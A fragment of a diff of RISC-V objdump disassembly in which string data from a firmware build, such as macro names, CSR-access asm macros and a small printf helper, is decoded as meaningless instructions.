+    1816:	206d                	jal	18c0 <__stack_size+0x10c0>
+    1818:	6f76                	flw	ft10,92(sp)
+    181a:	616c                	flw	fa1,68(a0)
+    181c:	6974                	flw	fa3,84(a0)
+    181e:	656c                	flw	fa1,76(a0)
+    1820:	2820                	fld	fs0,80(s0)
+    1822:	6322                	flw	ft6,8(sp)
+    1824:	73727273          	csrrci	tp,0x737,4
+    1828:	2069                	jal	18b2 <__stack_size+0x10b2>
+    182a:	3025                	jal	1052 <__stack_size+0x852>
+    182c:	202c                	fld	fa1,64(s0)
+    182e:	2022                	fld	ft0,8(sp)
+    1830:	72736323          	0x72736323
+    1834:	2220                	fld	fs0,64(a2)
+    1836:	202c                	fld	fa1,64(s0)
+    1838:	3125                	jal	1460 <__stack_size+0xc60>
+    183a:	2022                	fld	ft0,8(sp)
+    183c:	203a                	fld	ft0,392(sp)
+    183e:	3d22                	fld	fs10,40(sp)
+    1840:	2272                	fld	ft4,280(sp)
+    1842:	7228                	flw	fa0,96(a2)
+    1844:	2964                	fld	fs1,208(a0)
+    1846:	3a20                	fld	fs0,112(a2)
+    1848:	2220                	fld	fs0,64(a2)
+    184a:	7228224b          	fnmsub.d	ft4,fa6,ft2,fa4,rdn
+    184e:	3b292973          	csrrs	s2,pmpaddr2,s2
+    1852:	6520                	flw	fs0,72(a0)
+    1854:	736c                	flw	fa1,100(a4)
+    1856:	2065                	jal	18fe <__stack_size+0x10fe>
+    1858:	7361                	lui	t1,0xffff8
+    185a:	206d                	jal	1904 <__stack_size+0x1104>
+    185c:	6f76                	flw	ft10,92(sp)
+    185e:	616c                	flw	fa1,68(a0)
+    1860:	6974                	flw	fa3,84(a0)
+    1862:	656c                	flw	fa1,76(a0)
+    1864:	2820                	fld	fs0,80(s0)
+    1866:	6322                	flw	ft6,8(sp)
+    1868:	73727273          	csrrci	tp,0x737,4
+    186c:	2520                	fld	fs0,72(a0)
+    186e:	2c30                	fld	fa2,88(s0)
+    1870:	2220                	fld	fs0,64(a2)
+    1872:	2320                	fld	fs0,64(a4)
+    1874:	20727363          	bgeu	tp,t2,1a7a <__stack_size+0x127a>
+    1878:	2c22                	fld	fs8,8(sp)
+    187a:	2520                	fld	fs0,72(a0)
+    187c:	2231                	jal	1988 <__stack_size+0x1188>
+    187e:	3a20                	fld	fs0,112(a2)
+    1880:	2220                	fld	fs0,64(a2)
+    1882:	723d                	lui	tp,0xfffef
+    1884:	2822                	fld	fa6,8(sp)
+    1886:	6472                	flw	fs0,28(sp)
+    1888:	2029                	jal	1892 <__stack_size+0x1092>
+    188a:	203a                	fld	ft0,392(sp)
+    188c:	7222                	flw	ft4,40(sp)
+    188e:	2822                	fld	fa6,8(sp)
+    1890:	7372                	flw	ft6,60(sp)
+    1892:	2929                	jal	1cac <__stack_size+0x14ac>
+    1894:	6472203b          	0x6472203b
+    1898:	297d203b          	0x297d203b
+    189c:	5000                	lw	s0,32(s0)
+    189e:	494c                	lw	a1,20(a0)
+    18a0:	48545f43          	fmadd.s	ft10,fs0,ft5,fs1,unknown
+    18a4:	4552                	lw	a0,20(sp)
+    18a6:	464f5f53          	0x464f5f53
+    18aa:	5346                	lw	t1,112(sp)
+    18ac:	5445                	li	s0,-15
+    18ae:	3020                	fld	fs0,96(s0)
+    18b0:	3278                	fld	fa4,224(a2)
+    18b2:	3030                	fld	fa2,96(s0)
+    18b4:	3030                	fld	fa2,96(s0)
+    18b6:	0030                	addi	a2,sp,8
+    18b8:	5450                	lw	a2,44(s0)
+    18ba:	4452                	lw	s0,20(sp)
+    18bc:	4649                	li	a2,18
+    18be:	5f46                	lw	t5,112(sp)
+    18c0:	414d                	li	sp,19
+    18c2:	0058                	addi	a4,sp,4
+    18c4:	4f4c                	lw	a1,28(a4)
+    18c6:	474e                	lw	a4,208(sp)
+    18c8:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
+    18ce:	414d                	li	sp,19
+    18d0:	2058                	fld	fa4,128(s0)
+    18d2:	5f5f 4f4c 474e      	0x474e4f4c5f5f
+    18d8:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
+    18de:	414d                	li	sp,19
+    18e0:	5f58                	lw	a4,60(a4)
+    18e2:	005f 5f5f 4e49      	0x4e495f5f005f
+    18e8:	3854                	fld	fa3,176(s0)
+    18ea:	435f 6328 2029      	0x20296328435f
+    18f0:	435f0063          	beq	t5,s5,1d10 <__stack_size+0x1510>
+    18f4:	4f4c                	lw	a1,28(a4)
+    18f6:	5f534b43          	fmadd.q	fs6,ft6,fs5,fa1,rmm
+    18fa:	4550                	lw	a2,12(a0)
+    18fc:	5f52                	lw	t5,52(sp)
+    18fe:	5f434553          	0x5f434553
+    1902:	3120                	fld	fs0,96(a0)
+    1904:	3030                	fld	fa2,96(s0)
+    1906:	3030                	fld	fa2,96(s0)
+    1908:	3030                	fld	fa2,96(s0)
+    190a:	5f00                	lw	s0,56(a4)
+    190c:	4552                	lw	a0,20(sp)
+    190e:	4e45                	li	t3,17
+    1910:	5f54                	lw	a3,60(a4)
+    1912:	424d                	li	tp,19
+    1914:	5452                	lw	s0,52(sp)
+    1916:	5f43574f          	fnmadd.q	fa4,ft6,fs4,fa1,unknown
+    191a:	54415453          	0x54415453
+    191e:	2845                	jal	19ce <__stack_size+0x11ce>
+    1920:	7470                	flw	fa2,108(s0)
+    1922:	2972                	fld	fs2,280(sp)
+    1924:	2820                	fld	fs0,80(s0)
+    1926:	7028                	flw	fa0,96(s0)
+    1928:	7274                	flw	fa3,100(a2)
+    192a:	2d29                	jal	1f44 <__stack_size+0x1744>
+    192c:	5f3e                	lw	t5,236(sp)
+    192e:	656e                	flw	fa0,216(sp)
+    1930:	725f2e77          	0x725f2e77
+    1934:	6565                	lui	a0,0x19
+    1936:	746e                	flw	fs0,248(sp)
+    1938:	5f2e                	lw	t5,232(sp)
+    193a:	626d                	lui	tp,0x1b
+    193c:	7472                	flw	fs0,60(sp)
+    193e:	5f63776f          	jal	a4,38f34 <__stack_size+0x38734>
+    1942:	74617473          	csrrci	s0,0x746,2
+    1946:	2965                	jal	1dfe <__stack_size+0x15fe>
+    1948:	5f00                	lw	s0,56(a4)
+    194a:	4c5f 4244 5f4c      	0x5f4c42444c5f
+    1950:	4544                	lw	s1,12(a0)
+    1952:	414d4943          	fmadd.s	fs2,fs10,fs4,fs0,rmm
+    1956:	5f4c                	lw	a1,60(a4)
+    1958:	4944                	lw	s1,20(a0)
+    195a:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    195e:	53003633          	0x53003633
+    1962:	44454843          	0x44454843
+    1966:	525f 2052 0032      	0x322052525f
+    196c:	5f5f 7270 6e69      	0x6e6972705f5f
+    1972:	6674                	flw	fa3,76(a2)
+    1974:	6c30                	flw	fa2,88(s0)
+    1976:	6b69                	lui	s6,0x1a
+    1978:	2865                	jal	1a30 <__stack_size+0x1230>
+    197a:	6d66                	flw	fs10,88(sp)
+    197c:	6174                	flw	fa3,68(a0)
+    197e:	6772                	flw	fa4,28(sp)
+    1980:	662c                	flw	fa1,72(a2)
+    1982:	7269                	lui	tp,0xffffa
+    1984:	61767473          	csrrci	s0,0x617,12
+    1988:	6172                	flw	ft2,28(sp)
+    198a:	6772                	flw	fa4,28(sp)
+    198c:	2029                	jal	1996 <__stack_size+0x1196>
+    198e:	4c00                	lw	s0,24(s0)
+    1990:	745f 706d 616e      	0x616e706d745f
+    1996:	206d                	jal	1a40 <__stack_size+0x1240>
+    1998:	4946                	lw	s2,80(sp)
+    199a:	454c                	lw	a1,12(a0)
+    199c:	414e                	lw	sp,208(sp)
+    199e:	454d                	li	a0,19
+    19a0:	4d5f 5841 5f00      	0x5f0058414d5f
+    19a6:	585f4353          	0x585f4353
+    19aa:	5342                	lw	t1,48(sp)
+    19ac:	5f35                	li	t5,-19
+    19ae:	4c49                	li	s8,18
+    19b0:	3350                	fld	fa2,160(a4)
+    19b2:	5f32                	lw	t5,44(sp)
+    19b4:	3346464f          	fnmadd.d	fa2,fa2,fs4,ft6,rmm
+    19b8:	2032                	fld	ft0,264(sp)
+    19ba:	535f 5f43 3756      	0x37565f43535f
+    19c0:	495f 504c 3233      	0x3233504c495f
+    19c6:	4f5f 4646 3233      	0x323346464f5f
+    19cc:	4900                	lw	s0,16(a0)
+    19ce:	544e                	lw	s0,240(sp)
+    19d0:	4c5f 4145 5453      	0x545341454c5f
+    19d6:	5f38                	lw	a4,120(a4)
+    19d8:	414d                	li	sp,19
+    19da:	2058                	fld	fa4,128(s0)
+    19dc:	5f5f 4e49 5f54      	0x5f544e495f5f
+    19e2:	454c                	lw	a1,12(a0)
+    19e4:	5341                	li	t1,-16
+    19e6:	3854                	fld	fa3,176(s0)
+    19e8:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    19ee:	5f00                	lw	s0,56(a4)
+    19f0:	495f 4545 5f45      	0x5f454545495f
+    19f6:	494c                	lw	a1,20(a0)
+    19f8:	5454                	lw	a3,44(s0)
+    19fa:	454c                	lw	a1,12(a0)
+    19fc:	455f 444e 4149      	0x4149444e455f
+    1a02:	204e                	fld	ft0,208(sp)
+    1a04:	5f00                	lw	s0,56(a4)
+    1a06:	465f 544c 4d5f      	0x4d5f544c465f
+    1a0c:	5841                	li	a6,-16
+    1a0e:	455f 5058 5f5f      	0x5f5f5058455f
+    1a14:	3120                	fld	fs0,96(a0)
+    1a16:	3832                	fld	fa6,296(sp)
+    1a18:	4700                	lw	s0,8(a4)
+    1a1a:	4950                	lw	a2,20(a0)
+    1a1c:	4f495f4f          	fnmadd.q	ft10,fs2,fs4,fs1,unknown
+    1a20:	5f46                	lw	t5,112(sp)
+    1a22:	4e45                	li	t3,17
+    1a24:	3020                	fld	fs0,96(s0)
+    1a26:	3378                	fld	fa4,224(a4)
+    1a28:	0038                	addi	a4,sp,8
+    1a2a:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    1a30:	745f 7972 615f      	0x615f7972745f
+    1a36:	69757163          	bgeu	a0,s7,20b8 <__stack_size+0x18b8>
+    1a3a:	6572                	flw	fa0,28(sp)
+    1a3c:	725f 6365 7275      	0x72756365725f
+    1a42:	65766973          	csrrsi	s2,0x657,12
+    1a46:	6c28                	flw	fa0,88(s0)
+    1a48:	296b636f          	jal	t1,b7cde <__stack_size+0xb74de>
+    1a4c:	2820                	fld	fs0,80(s0)
+    1a4e:	7628                	flw	fa0,104(a2)
+    1a50:	2964696f          	jal	s2,47ce6 <__stack_size+0x474e6>
+    1a54:	3020                	fld	fs0,96(s0)
+    1a56:	0029                	c.nop	10
+    1a58:	5f5f 4343 535f      	0x535f43435f5f
+    1a5e:	5055                	c.li	zero,-11
+    1a60:	4f50                	lw	a2,28(a4)
+    1a62:	5452                	lw	s0,52(sp)
+    1a64:	5f5f5f53          	0x5f5f5f53
+    1a68:	4e49                	li	t3,18
+    1a6a:	494c                	lw	a1,20(a0)
+    1a6c:	454e                	lw	a0,208(sp)
+    1a6e:	3120                	fld	fs0,96(a0)
+    1a70:	5f00                	lw	s0,56(a4)
+    1a72:	415f 4f54 494d      	0x494d4f54415f
+    1a78:	45535f43          	0x45535f43
+    1a7c:	5f51                	li	t5,-12
+    1a7e:	20545343          	fmadd.s	ft6,fs0,ft5,ft4,unknown
+    1a82:	0035                	c.nop	13
+    1a84:	5f5f 6972 6373      	0x637369725f5f
+    1a8a:	5f76                	lw	t5,124(sp)
+    1a8c:	6964                	flw	fs1,84(a0)
+    1a8e:	2076                	fld	ft0,344(sp)
+    1a90:	0031                	c.nop	12
+    1a92:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    1a98:	635f 6f6c 6573      	0x65736f6c635f
+    1a9e:	725f 6365 7275      	0x72756365725f
+    1aa4:	65766973          	csrrsi	s2,0x657,12
+    1aa8:	6c28                	flw	fa0,88(s0)
+    1aaa:	296b636f          	jal	t1,b7d40 <__stack_size+0xb7540>
+    1aae:	2820                	fld	fs0,80(s0)
+    1ab0:	7628                	flw	fa0,104(a2)
+    1ab2:	2964696f          	jal	s2,47d48 <__stack_size+0x47548>
+    1ab6:	3020                	fld	fs0,96(s0)
+    1ab8:	0029                	c.nop	10
+    1aba:	525f 4545 544e      	0x544e4545525f
+    1ac0:	435f 4548 4b43      	0x4b434548435f
+    1ac6:	535f 4749 414e      	0x414e4749535f
+    1acc:	5f4c                	lw	a1,60(a4)
+    1ace:	5542                	lw	a0,48(sp)
+    1ad0:	2846                	fld	fa6,80(sp)
+    1ad2:	7470                	flw	fa2,108(s0)
+    1ad4:	2972                	fld	fs2,280(sp)
+    1ad6:	0020                	addi	s0,sp,8
+    1ad8:	4342                	lw	t1,16(sp)
+    1ada:	425f 5341 5f45      	0x5f455341425f
+    1ae0:	414d                	li	sp,19
+    1ae2:	2058                	fld	fa4,128(s0)
+    1ae4:	3939                	jal	1702 <__stack_size+0xf02>
+    1ae6:	5f00                	lw	s0,56(a4)
+    1ae8:	465f 544c 3233      	0x3233544c465f
+    1aee:	5f58                	lw	a4,60(a4)
+    1af0:	414d                	li	sp,19
+    1af2:	5f58                	lw	a4,60(a4)
+    1af4:	5845                	li	a6,-15
+    1af6:	5f50                	lw	a2,60(a4)
+    1af8:	205f 3031 3432      	0x34323031205f
+    1afe:	7300                	flw	fs0,32(a4)
+    1b00:	5f74                	lw	a3,124(a4)
+    1b02:	6d697463          	bgeu	s2,s6,21ca <__stack_size+0x19ca>
+    1b06:	2065                	jal	1bae <__stack_size+0x13ae>
+    1b08:	635f7473          	csrrci	s0,0x635,30
+    1b0c:	6974                	flw	fa3,84(a0)
+    1b0e:	2e6d                	jal	1ec8 <__stack_size+0x16c8>
+    1b10:	7674                	flw	fa3,108(a2)
+    1b12:	735f 6365 5f00      	0x5f006365735f
+    1b18:	465f 544c 3233      	0x3233544c465f
+    1b1e:	4d5f 4e41 5f54      	0x5f544e414d5f
+    1b24:	4944                	lw	s1,20(a0)
+    1b26:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    1b2a:	3432                	fld	fs0,296(sp)
+    1b2c:	5f00                	lw	s0,56(a4)
+    1b2e:	555f 4e49 5f54      	0x5f544e49555f
+    1b34:	4146                	lw	sp,80(sp)
+    1b36:	5f385453          	0x5f385453
+    1b3a:	5954                	lw	a3,52(a0)
+    1b3c:	4550                	lw	a2,12(a0)
+    1b3e:	5f5f 7520 736e      	0x736e75205f5f
+    1b44:	6769                	lui	a4,0x1a
+    1b46:	656e                	flw	fa0,216(sp)
+    1b48:	2064                	fld	fs1,192(s0)
+    1b4a:	6e69                	lui	t3,0x1a
+    1b4c:	0074                	addi	a3,sp,12
+    1b4e:	53495f53          	0x53495f53
+    1b52:	4552                	lw	a0,20(sp)
+    1b54:	296d2847          	fmsub.s	fa6,fs10,fs6,ft5,rdn
+    1b58:	2820                	fld	fs0,80(s0)
+    1b5a:	2828                	fld	fa0,80(s0)
+    1b5c:	296d                	jal	2016 <__stack_size+0x1816>
+    1b5e:	5f26                	lw	t5,104(sp)
+    1b60:	4649                	li	a2,18
+    1b62:	544d                	li	s0,-13
+    1b64:	2029                	jal	1b6e <__stack_size+0x136e>
+    1b66:	3d3d                	jal	19a4 <__stack_size+0x11a4>
+    1b68:	5f20                	lw	s0,120(a4)
+    1b6a:	4649                	li	a2,18
+    1b6c:	4552                	lw	a0,20(sp)
+    1b6e:	46002947          	fmsub.q	fs2,ft0,ft0,fs0,rdn
+    1b72:	4f4c4853          	0x4f4c4853
+    1b76:	5f204b43          	fmadd.q	fs6,ft0,fs2,fa1,rmm
+    1b7a:	5346                	lw	t1,112(sp)
+    1b7c:	4c48                	lw	a0,28(s0)
+    1b7e:	004b434f          	fnmadd.s	ft6,fs6,ft4,ft0,rmm
+    1b82:	495f 5f44 5f54      	0x5f545f44495f
+    1b88:	4544                	lw	s1,12(a0)
+    1b8a:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    1b8e:	4445                	li	s0,17
+    1b90:	0020                	addi	s0,sp,8
+    1b92:	5f5f 4c46 3154      	0x31544c465f5f
+    1b98:	3832                	fld	fa6,296(sp)
+    1b9a:	4d5f 5841 315f      	0x315f58414d5f
+    1ba0:	5f30                	lw	a2,120(a4)
+    1ba2:	5845                	li	a6,-15
+    1ba4:	5f50                	lw	a2,60(a4)
+    1ba6:	205f 3934 3233      	0x32333934205f
+    1bac:	4300                	lw	s0,0(a4)
+    1bae:	4d5f5253          	0x4d5f5253
+    1bb2:	5241                	li	tp,-16
+    1bb4:	44494843          	0x44494843
+    1bb8:	3120                	fld	fs0,96(a0)
+    1bba:	0030                	addi	a2,sp,8
+    1bbc:	5f5f 5845 2850      	0x285058455f5f
+    1bc2:	2978                	fld	fa4,208(a0)
+    1bc4:	5f20                	lw	s0,120(a4)
+    1bc6:	205f 2323 2078      	0x20782323205f
+    1bcc:	5f5f2323          	sw	s5,1510(t5) # 4c4955e6 <_data_lma+0x2c0910c6>
+    1bd0:	4f00                	lw	s0,24(a4)
+    1bd2:	4e5f 4e4f 4c42      	0x4c424e4f4e5f
+    1bd8:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
+    1bdc:	465f 4f4e 424e      	0x424e4f4e465f
+    1be2:	4f4c                	lw	a1,28(a4)
+    1be4:	55004b43          	0x55004b43
+    1be8:	4e49                	li	t3,18
+    1bea:	5f54                	lw	a3,60(a4)
+    1bec:	454c                	lw	a1,12(a0)
+    1bee:	5341                	li	t1,-16
+    1bf0:	3354                	fld	fa3,160(a4)
+    1bf2:	5f32                	lw	t5,44(sp)
+    1bf4:	414d                	li	sp,19
+    1bf6:	0058                	addi	a4,sp,4
+    1bf8:	4e49                	li	t3,18
+    1bfa:	5f54                	lw	a3,60(a4)
+    1bfc:	4146                	lw	sp,80(sp)
+    1bfe:	36315453          	0x36315453
+    1c02:	4d5f 4e49 4900      	0x49004e494d5f
+    1c08:	544e                	lw	s0,240(sp)
+    1c0a:	465f 5341 3854      	0x38545341465f
+    1c10:	4d5f 5841 5f20      	0x5f2058414d5f
+    1c16:	495f 544e 465f      	0x465f544e495f
+    1c1c:	5341                	li	t1,-16
+    1c1e:	3854                	fld	fa3,176(s0)
+    1c20:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    1c26:	5f00                	lw	s0,56(a4)
+    1c28:	4d5f4353          	0x4d5f4353
+    1c2c:	5041                	c.li	zero,-16
+    1c2e:	4550                	lw	a2,12(a0)
+    1c30:	5f44                	lw	s1,60(a4)
+    1c32:	4946                	lw	s2,80(sp)
+    1c34:	454c                	lw	a1,12(a0)
+    1c36:	33322053          	0x33322053
+    1c3a:	5f00                	lw	s0,56(a4)
+    1c3c:	6c5f 6e6f 5f67      	0x5f676e6f6c5f
+    1c42:	6f64                	flw	fs1,92(a4)
+    1c44:	6275                	lui	tp,0x1d
+    1c46:	656c                	flw	fa1,76(a0)
+    1c48:	745f 6c20 6e6f      	0x6e6f6c20745f
+    1c4e:	6f642067          	0x6f642067
+    1c52:	6275                	lui	tp,0x1d
+    1c54:	656c                	flw	fa1,76(a0)
+    1c56:	4c00                	lw	s0,24(s0)
+    1c58:	5f4b434f          	fnmadd.q	ft6,fs6,fs4,fa1,rmm
+    1c5c:	30204853          	0x30204853
+    1c60:	3078                	fld	fa4,224(s0)
+    1c62:	0031                	c.nop	12
+    1c64:	5f5f 6572 7571      	0x757165725f5f
+    1c6a:	7269                	lui	tp,0xffffa
+    1c6c:	7365                	lui	t1,0xffff9
+    1c6e:	655f 6378 756c      	0x756c6378655f
+    1c74:	65766973          	csrrsi	s2,0x657,12
+    1c78:	2e28                	fld	fa0,88(a2)
+    1c7a:	2e2e                	fld	ft8,200(sp)
+    1c7c:	2029                	jal	1c86 <__stack_size+0x1486>
+    1c7e:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    1c84:	615f 6e6e 746f      	0x746f6e6e615f
+    1c8a:	7461                	lui	s0,0xffff8
+    1c8c:	2865                	jal	1d44 <__stack_size+0x1544>
+    1c8e:	7865                	lui	a6,0xffff9
+    1c90:	73756c63          	bltu	a0,s7,23c8 <__stack_size+0x1bc8>
+    1c94:	7669                	lui	a2,0xffffa
+    1c96:	5f65                	li	t5,-7
+    1c98:	6f6c                	flw	fa1,92(a4)
+    1c9a:	5f736b63          	bltu	t1,s7,2290 <__stack_size+0x1a90>
+    1c9e:	6572                	flw	fa0,28(sp)
+    1ca0:	7571                	lui	a0,0xffffc
+    1ca2:	7269                	lui	tp,0xffffa
+    1ca4:	6465                	lui	s0,0x19
+    1ca6:	5f28                	lw	a0,120(a4)
+    1ca8:	565f 5f41 5241      	0x52415f41565f
+    1cae:	5f5f5347          	fmsub.q	ft6,ft10,fs5,fa1,unknown
+    1cb2:	2929                	jal	20cc <__stack_size+0x18cc>
+    1cb4:	7000                	flw	fs0,32(s0)
+    1cb6:	6972                	flw	fs2,28(sp)
+    1cb8:	746e                	flw	fs0,248(sp)
+    1cba:	3266                	fld	ft4,120(sp)
+    1cbc:	6628                	flw	fa0,72(a2)
+    1cbe:	616d726f          	jal	tp,d92d4 <__stack_size+0xd8ad4>
+    1cc2:	2c74                	fld	fa3,216(s0)
+    1cc4:	7261                	lui	tp,0xffff8
+    1cc6:	2e2e7367          	0x2e2e7367
+    1cca:	292e                	fld	fs2,200(sp)
+    1ccc:	7b20                	flw	fs0,112(a4)
+    1cce:	6320                	flw	fs0,64(a4)
+    1cd0:	6168                	flw	fa0,68(a0)
+    1cd2:	2072                	fld	ft0,280(sp)
+    1cd4:	732a                	flw	ft6,168(sp)
+    1cd6:	7274                	flw	fa3,100(a2)
+    1cd8:	3d20                	fld	fs0,120(a0)
+    1cda:	6d20                	flw	fs0,88(a0)
+    1cdc:	6c61                	lui	s8,0x18
+    1cde:	6f6c                	flw	fa1,92(a4)
+    1ce0:	32312863          	0x32312863
+    1ce4:	2938                	fld	fa4,80(a0)
+    1ce6:	656d203b          	0x656d203b
+    1cea:	736d                	lui	t1,0xffffb
+    1cec:	7465                	lui	s0,0xffff9
+    1cee:	7328                	flw	fa0,96(a4)
+    1cf0:	7274                	flw	fa3,100(a2)
+    1cf2:	202c                	fld	fa1,64(s0)
+    1cf4:	2c30                	fld	fa2,88(s0)
+    1cf6:	3120                	fld	fs0,96(a0)
+    1cf8:	3832                	fld	fa6,296(sp)
+    1cfa:	3b29                	jal	1a14 <__stack_size+0x1214>
+    1cfc:	6920                	flw	fs0,80(a0)
+    1cfe:	2066                	fld	ft0,88(sp)
+    1d00:	7328                	flw	fa0,96(a4)
+    1d02:	7274                	flw	fa3,100(a2)
+    1d04:	2120                	fld	fs0,64(a0)
+    1d06:	203d                	jal	1d34 <__stack_size+0x1534>
+    1d08:	554e                	lw	a0,240(sp)
+    1d0a:	4c4c                	lw	a1,28(s0)
+    1d0c:	7b29                	lui	s6,0xfffea
+    1d0e:	6320                	flw	fs0,64(a4)
+    1d10:	74736e6f          	jal	t3,38c56 <__stack_size+0x38456>
+    1d14:	6920                	flw	fs0,80(a0)
+    1d16:	746e                	flw	fs0,248(sp)
+    1d18:	6c20                	flw	fs0,88(s0)
+    1d1a:	6e65                	lui	t3,0x19
+    1d1c:	3d20                	fld	fs0,120(a0)
+    1d1e:	7320                	flw	fs0,96(a4)
+    1d20:	706e                	flw	ft0,248(sp)
+    1d22:	6972                	flw	fs2,28(sp)
+    1d24:	746e                	flw	fs0,248(sp)
+    1d26:	2866                	fld	fa6,88(sp)
+    1d28:	2c727473          	csrrci	s0,0x2c7,4
+    1d2c:	3120                	fld	fs0,96(a0)
+    1d2e:	3832                	fld	fa6,296(sp)
+    1d30:	202c                	fld	fa1,64(s0)
+    1d32:	6f66                	flw	ft10,88(sp)
+    1d34:	6d72                	flw	fs10,28(sp)
+    1d36:	7461                	lui	s0,0xffff8
+    1d38:	202c                	fld	fa1,64(s0)
+    1d3a:	61202323          	sw	s2,1542(zero) # 606 <__stack_size-0x1fa>
+    1d3e:	6772                	flw	fa4,28(sp)
+    1d40:	203b2973          	csrrs	s2,hideleg,s6
+    1d44:	6f66                	flw	ft10,88(sp)
+    1d46:	2072                	fld	ft0,280(sp)
+    1d48:	6928                	flw	fa0,80(a0)
+    1d4a:	746e                	flw	fs0,248(sp)
+    1d4c:	6920                	flw	fs0,80(a0)
+    1d4e:	303d                	jal	157c <__stack_size+0xd7c>
+    1d50:	3c69203b          	0x3c69203b
+    1d54:	6c28                	flw	fa0,88(s0)
+    1d56:	6e65                	lui	t3,0x19
+    1d58:	2936312f          	0x2936312f
+    1d5c:	203b312b          	0x203b312b
+    1d60:	2b69                	jal	22fa <__stack_size+0x1afa>
+    1d62:	207b292b          	0x207b292b
+    1d66:	6c696877          	0x6c696877
+    1d6a:	2865                	jal	1e22 <__stack_size+0x1622>
+    1d6c:	4d21                	li	s10,8
+    1d6e:	4f5a                	lw	t5,148(sp)
+    1d70:	454e                	lw	a0,208(sp)
+    1d72:	535f 4e45 2844      	0x28444e45535f
+    1d78:	2c32                	fld	fs8,264(sp)
+    1d7a:	2820                	fld	fs0,80(s0)
+    1d7c:	2b727473          	csrrci	s0,0x2b7,4
+    1d80:	3631                	jal	188c <__stack_size+0x108c>
+    1d82:	692a                	flw	fs2,136(sp)
     1d84:	2929                	jal	219e <__stack_size+0x199e>
-    1d86:	5f00                	lw	s0,56(a4)
-    1d88:	445f 5145 4155      	0x41555145445f
-    1d8e:	494c                	lw	a1,20(a0)
-    1d90:	5946                	lw	s2,112(sp)
-    1d92:	7428                	flw	fa0,104(s0)
-    1d94:	7079                	c.lui	zero,0xffffe
-    1d96:	2c65                	jal	204e <__stack_size+0x184e>
-    1d98:	6176                	flw	ft2,92(sp)
-    1d9a:	2972                	fld	fs2,280(sp)
-    1d9c:	2820                	fld	fs0,80(s0)
-    1d9e:	7428                	flw	fa0,104(s0)
-    1da0:	7079                	c.lui	zero,0xffffe
-    1da2:	2965                	jal	225a <__stack_size+0x1a5a>
-    1da4:	5f28                	lw	a0,120(a4)
-    1da6:	755f 6e69 7074      	0x70746e69755f
-    1dac:	7274                	flw	fa3,100(a2)
-    1dae:	745f 2829 6f63      	0x6f632829745f
-    1db4:	736e                	flw	ft6,248(sp)
-    1db6:	2074                	fld	fa3,192(s0)
-    1db8:	6f76                	flw	ft10,92(sp)
-    1dba:	616c                	flw	fa1,68(a0)
-    1dbc:	6974                	flw	fa3,84(a0)
-    1dbe:	656c                	flw	fa1,76(a0)
-    1dc0:	7620                	flw	fs0,104(a2)
-    1dc2:	2064696f          	jal	s2,47fc8 <__stack_size+0x477c8>
-    1dc6:	292a                	fld	fs2,136(sp)
-    1dc8:	7628                	flw	fa0,104(a2)
-    1dca:	7261                	lui	tp,0xffff8
-    1dcc:	2929                	jal	21e6 <__stack_size+0x19e6>
-    1dce:	5f00                	lw	s0,56(a4)
-    1dd0:	685f 7361 665f      	0x665f7361685f
-    1dd6:	6165                	addi	sp,sp,112
-    1dd8:	7574                	flw	fa3,108(a0)
-    1dda:	6572                	flw	fa0,28(sp)
-    1ddc:	7828                	flw	fa0,112(s0)
-    1dde:	2029                	jal	1de8 <__stack_size+0x15e8>
-    1de0:	0030                	addi	a2,sp,8
-    1de2:	535f 5f43 4954      	0x49545f43535f
-    1de8:	454d                	li	a0,19
-    1dea:	5f52                	lw	t5,52(sp)
-    1dec:	414d                	li	sp,19
-    1dee:	2058                	fld	fa4,128(s0)
-    1df0:	3931                	jal	1a0c <__stack_size+0x120c>
-    1df2:	5f00                	lw	s0,56(a4)
-    1df4:	4552                	lw	a0,20(sp)
-    1df6:	4e45                	li	t3,17
-    1df8:	5f54                	lw	a3,60(a4)
-    1dfa:	4d45                	li	s10,17
-    1dfc:	5245                	li	tp,-15
-    1dfe:	434e4547          	fmsub.d	fa0,ft8,fs4,fs0,rmm
-    1e02:	5f59                	li	t5,-10
-    1e04:	455a4953          	0x455a4953
-    1e08:	3220                	fld	fs0,96(a2)
-    1e0a:	0035                	c.nop	13
-    1e0c:	5f5f 4347 5f43      	0x5f4343475f5f
-    1e12:	4549                	li	a0,18
-    1e14:	35355f43          	0x35355f43
-    1e18:	5f39                	li	t5,-18
-    1e1a:	504d4f43          	fmadd.s	ft10,fs10,ft4,fa0,rmm
-    1e1e:	454c                	lw	a1,12(a0)
-    1e20:	2058                	fld	fa4,128(s0)
-    1e22:	0030                	addi	a2,sp,8
-    1e24:	4955                	li	s2,21
-    1e26:	544e                	lw	s0,240(sp)
-    1e28:	3436                	fld	fs0,360(sp)
-    1e2a:	435f 5f00 4552      	0x45525f00435f
-    1e30:	4e45                	li	t3,17
-    1e32:	5f54                	lw	a3,60(a4)
-    1e34:	504d                	c.li	zero,-13
-    1e36:	525f 5345 4c55      	0x4c555345525f
-    1e3c:	5f54                	lw	a3,60(a4)
-    1e3e:	7470284b          	0x7470284b
-    1e42:	2972                	fld	fs2,280(sp)
-    1e44:	2820                	fld	fs0,80(s0)
-    1e46:	7028                	flw	fa0,96(s0)
-    1e48:	7274                	flw	fa3,100(a2)
-    1e4a:	2d29                	jal	2464 <__stack_size+0x1c64>
-    1e4c:	5f3e                	lw	t5,236(sp)
-    1e4e:	6572                	flw	fa0,28(sp)
-    1e50:	746c7573          	csrrci	a0,0x746,24
-    1e54:	6b5f 0029 465f      	0x465f00296b5f
-    1e5a:	4b4c4253          	0x4b4c4253
-    1e5e:	5f544e43          	fmadd.q	ft8,fs0,fs5,fa1,rmm
-    1e62:	5f54                	lw	a3,60(a4)
-    1e64:	4544                	lw	s1,12(a0)
-    1e66:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    1e6a:	4445                	li	s0,17
-    1e6c:	0020                	addi	s0,sp,8
-    1e6e:	465f 5953 434e      	0x434e5953465f
-    1e74:	3020                	fld	fs0,96(s0)
-    1e76:	3278                	fld	fa4,224(a2)
